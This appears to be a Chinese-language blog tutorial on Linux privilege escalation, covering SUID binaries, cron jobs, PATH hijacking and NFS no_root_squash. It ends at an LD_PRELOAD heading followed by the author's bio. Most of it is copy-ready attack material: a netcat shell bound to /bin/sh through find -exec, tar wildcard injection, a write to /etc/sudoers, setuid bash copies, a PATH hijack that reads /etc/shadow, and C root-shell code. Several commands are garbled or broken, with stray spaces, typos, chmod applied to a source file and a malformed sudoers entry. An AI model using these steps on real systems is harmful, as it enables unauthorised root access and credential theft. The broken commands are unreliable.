shell分本地shell 和 webshell 有些提权方式只能本地shell使用
常见内核漏洞查找脚本以及利用
环境变量提权

suid

  • https://www.cnblogs.com/banglook/archive/2022/03/17/16019354.html linux特殊命令
  • https://www.secrss.com/articles/28493

什么是suid

SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义。大写S有执行权限。
例如**/usr/bin/passwd本身是root权限的文件,但用户在修改密码时需要对这个文件进行改写,如果不设置s权限,用户在修改密码时会显示 Authentication token manipulation error 令牌身份出错。**
在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效.。通俗的来讲,假设我们现在有一个可执行文件ls,其属主为root,当我们通过非root用户登录时,如果ls设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限。所以利用此特性,我们可以通过SUID进行提权操作。

chmod u+s filename 设置SUID位chmod u-s filename 去掉SUID设置

命令利用

查找系统上运行的所有SUID可执行文件

find / -perm -4000 -type f -lsfind / -user root -perm -4000 -print 2>/dev/nullfind / -perm -u=s -type f 2>/dev/nullfind / -user root -perm -4000 -exec ls -ldb {}\;

linux中的标准输入输出

  • 0 是标准输入,一般是从键盘获得输入
  • 1 是标准输出,一般是输出到屏幕了
  • 2 是标准错误,有时候屏幕上可以看到,但是重定向的文件中看不到的就是它了
  • >为重定向符号

>/dev/null 是一个特殊的设备文件,这个文件接收到任何数据都会被丢弃,俗称“黑洞”

2>/dev/null意思就是把错误输出到“黑洞” ,也就是说如果你的命令出错的话,错误报告直接就删除了。不会显示在屏幕上

-name: 根据文件名查找 区分大小写-perm:利用权限进制搜索-type:指定文件类型(l:软连接类型;d:文件夹类型;f:文件类型)-user: 根据文件属主查询-group:根据文件属组查询-mtime:根据文件修改时间查找 -n n天以内修改的文件 +n n天以外修改的文件 n 刚好n天修改的文件-mmin :同mtime 不过单位是分钟-size: 根据文件大小查找 -n小于大小为n的文+n大于大小为n的文件-print:打印输出。 默认的选项,即打印出找到的结果。-exec:对搜索到的文件执行特定的操作,固定的格式为:-exec 'commond' {} \; 注意:{} 表示查询的结果。-ok:和 -exec 的功能一样,只是每次操作都会给用户提示。 举例1: 搜索 /etc 目录下的文件(非目录),文件以 conf 结尾,且大于 10k,然后将其删除。find /etc -type f -name '*.conf' -size +10k -exec rm -f {} \;举例2: 将 /data/log/ 目录下以 .log 结尾的文件,且更改时间在 7 天以上的删除。find /data/log -name '*.log' -mtime +7 -exec rm -f \;举例3: 搜索条件同 例1 一样,但是不删除,只是将其复制到 /root/conf 目录下find /etc -type f -name '*.conf' -size +10k -exec cp {} /root/conf/ \;-a: 与(默认情况查询条件之间都是 与 的关系)-o: 或-not|!:非-prune:通常和 -path 一起使用,用于将特定目录排除在搜索条件之外。过滤条件写在其他条件前面。"-path ./test -prune -o xxxxxx"举例1:查找当前目录下的所有普通文件,但排除 test目录。find . -path ./test -prune -o -type f举例2:查找当前目录下所有普通文件,但排除 test目录 和 opt目录。find . -path ./test -prune -o -path ./opt -prune -o -type f  举例3:查找当前目录下所有普通文件,但排除 test目录 和 opt目录,但属主为 mamafind . -path ./test -prune -o -path ./opt -prune -o -type f -a -user mama举例4:前置条件同例三且文件大小必须大于 500字节find . -path ./test -prune -o -path ./opt -prune -o -tyep f -a -user mama -a -size +500

nmap

适用版本:nmap2.02至5.21
在早期nmap版本中,带有交互模式,因而允许用户执行shell命令
使用如下命令进入nmap交互模式

nmap --interactive 

在nmap交互模式中 通过如下命令提权

nmap> !sh sh-3.2# whoami root 

msf当中也有利用nmap进行提权的模块

exploit/unix/local/setuid_nmap

find

find用来在系统中查找文件,同时还具有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行。

touch anyfile #必须要有这个文件 find anyfile -exec whoami \;#再通过find反弹root shellfind anyfile -xexc netcat -lvp 5555 -e /bin/sh \;攻击机上使用 nc xx.xx.xx.xx 5555

vim

vim的主要用途是做编辑器,是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件。

vim.tiny vim-basic vi 同样使用进入vim命令行后 !后面加命令

Bash

bash -p 以root身份打开一个bash shell

less/more

!command!/bin/sh,进入shell

注意:more和less一定读取一个比较大的文件,如果文件太小无法进入翻页功能也就无法使用!命令进入shell

nano

古老的文本编辑器

nano #进入nano编辑器Ctrl + RCtrl + X #即可输入命令

cp

使用cp命令覆盖掉原来的文件

awk

awk命令进入shell:

awk 'BEGIN {system("/bin/bash")}'

crontab定时任务

什么是cron

Cron Jobs可以在服务器端完成一系列计划任务(设定时间自动执行命令等等),一般它主要用于执行系统管理员任务,例如数据备份或清理缓存目录等等。Cron这个词来源于“crontab”,而这个玩意儿存在于/etc目录中。

比如说,在crontab中,我们添加下列条目来实现每隔一个小时就自动打印出apache的错误日志

1 0 * * * printf "" > /var/log/apache/error_log

一般情况下我们添加计划任务时,都是直接修改/etc/crontab。但是,不建议这样做,/etc/cron.d目录就是为了分项目设置计划任务而创建的。例如增加一项定时的备份任务,我们可以这样处理:在/etc/cron.d目录下新建文件crontabAdd
所以cron执行时会读取三个地方的配置文件:
一是/etc/crontab 二是/etc/cron.d目录下的所有文件 三是每个用户的配置文件

攻击方法

路径解析

如果定时任务参数中的command没有指定绝对路径而是使用的相对路径
系统会默认 /home/user/

tar通配符注入

利用条件:目标定时任务中存在tar文件备份相关脚本
例如:/1 * * * root tar -zcf /var/backups/html.tgz/var/www/html/*
backup命令:cd /home/undead/script;tar czf /tmp/backup.tar.gz *

echo'echo "ignite ALL=(root) NOPASSWD;ALL" > /etc/sudoers' >test.shecho 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/undead/script/test.sh echo "" > "--checkpoint-action=exec=sh test.sh" echo "" > --checkpoint=1

https://www.cnblogs.com/manong–/p/8012324.html linux tar相关命令

可写权限

利用条件:

  • 管理员给定时任务权限分配不当 使得除了root以外的用户能够重写定时文件 如chmod 777 775等
  • 定时任务定期执行某个脚本 该脚本可写或者可供利用
#查看当前计划任务 是否可写cat /etc/crontabls -al /etc/cron.d 

如果发现定时任务是root所属并且可写,尝试重写定时任务

#1一vi rootme.cint main(void){setgid(0);setuid(0);execl("/bin/sh","sh",0);}$echo"chown root:root / tmp / rootme; chmod u + s /tmp/rootme;">/定时任务这将更改可执行文件的所有者和组为root。它还将设置SUID位。5分钟后,运行了cronjob,并以root特权执行了定时任务。$ ./rootme –生成一个root shell。二$echo " cp /bin/bash /tmp/bash;chmod +s /tmp/bash" > /定时任务#2如果定时任务是执行某个脚本且可以修改该脚本import osimpotr systry:os.system('chmod u+s /bin/dash')except:sys.exit()

路径环境变量

例如,如果 C 程序像这样调用系统函数:

#includevoid main(){setuid(0);setgid(0);system("whoami");}

可以使用 PATH 环境变量劫持二进制 whoami,如下所示:

cd /tmpecho "cat /etc/shadow" > whoamichmod 777 whoamiexport PATH=/tmp:$PATH

NFS

如果在服务器上具有低特权shell,并且发现服务器中具有NFS共享,则可以使用它来升级特权。但是成功取决于它的配置方式。
什么是NFS?
网络文件系统(NFS)是一个客户端/服务器应用程序,它使计算机用户可以查看和选择存储和更新远程计算机上的文件,就像它们位于用户自己的计算机上一样。
NFS是基于UDP/IP协议的应用,其实现主要是采用远程过程调用RPC机制,RPC提供了一组与机器、操作系统以及低层传送协议无关的存取远程文件的操作。
什么是root_sqaush和no_root_sqaush?
Root Squashing(root_sqaush)参数阻止对连接到NFS卷的远程root用户具有root访问权限。远程根用户在连接时会分配一个用户“ nfsnobody ”,它具有最少的本地特权。如果 no__root_squash_ 选项开启的话”,并为远程用户授予root用户对所连接系统的访问权限。在配置NFS驱动器时,系统管理员应始终使用“ root_squash ”参数。
注意:要利用此,no__root_squash_ 选项得开启。
利用NFS并获取Root Shell
现在,我们拿到了一个低权限的shell,我们查看“ / etc / exports ”文件,即nfs配置文件。
/ etc / exports 文件包含将哪些文件夹/文件系统导出到远程用户的配置和权限。
这个文件的内容非常简单,每一行由抛出路径,客户名列表以及每个客户名后紧跟的访问选项构成:
[共享的目录] [主机名或IP(参数,参数)]
其中参数是可选的,当不指定参数时,nfs将使用默认选项。默认的共享选项是 sync,ro,root_squash,no_delay
当主机名或IP地址为空时,则代表共享给任意客户机提供服务。
当将同一目录共享给多个客户机,但对每个客户机提供的权限不同时,可以这样: [共享的目录] [主机名1或IP1(参数1,参数2)] [主机名2或IP2(参数3,参数4)]

我们可以看到**_/ tmp _**文件夹是可共享的,远程用户可以挂载它。
还有不安全的参数“ rw ”(读,写),“ sync ”和“ no_root_squash
同样我们也可以使用 showmount命令来查看。

showmount命令用于查询NFS服务器的相关信息# showmount --help Usage: showmount [-adehv][--all] [--directories] [--exports][--no-headers] [--help] [--version] [host]-a或--all以 host:dir 这样的格式来显示客户主机名和挂载点目录。 -d或--directories仅显示被客户挂载的目录名。 -e或--exports显示NFS服务器的输出清单。 -h或--help显示帮助信息。 -v或--version显示版本信。 --no-headers禁止输出描述头部信息。显示NFS客户端信息 # showmount显示指定NFS服务器连接NFS客户端的信息 # showmount 192.168.1.1#此ip为nfs服务器的显示输出目录列表 # showmount -e显示指定NFS服务器输出目录列表(也称为共享目录列表) # showmount -e 192.168.1.1显示被挂载的共享目录 # showmount -d显示客户端信息和共享目录 # showmount -a显示指定NFS服务器的客户端信息和共享目录# showmount -a 192.168.1.1

我们接下来在我们的攻击机上安装客户端工具
需要执行以下命令,安装nfs-common软件包。apt会自动安装nfs-common、rpcbind等12个软件包

sudo apt install nfs-commonapt-get install cifs-utils

然后输入命令
showmount -e [IP地址]

创建目录以挂载远程系统。
mkdir / tmp / test
在/tmp/test上装载Remote/tmp文件夹:
mount -o rw,vers = 2 [IP地址]:/ tmp / tmp / test

然后在/tmp/test/中。新建一个c文件。

#include  #include  #include  #include  int main() { setuid(0); system("/bin/bash"); return 0; }也可以echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/test/suid-shell.c

编译:
gcc /tmp/test/suid-shell.c -o / tmp / 1 / suid-shel
赋权:
chmod + s /tmp/test/suid-shell.c

好的,我们回到要提权的服务器上
cd / tmp ./suid-shell

可以看到是ROOT权限了

LD_PRELOAD
某211硕在读,三分之一的白帽子,三分之一的科研er,这里适合想要学习安全的小白师傅,适合致力于挖掘漏洞的师傅,适合安全研究人员师傅,以及想要做安全科研的师傅,想要了解网络空间安全研究生生活的师傅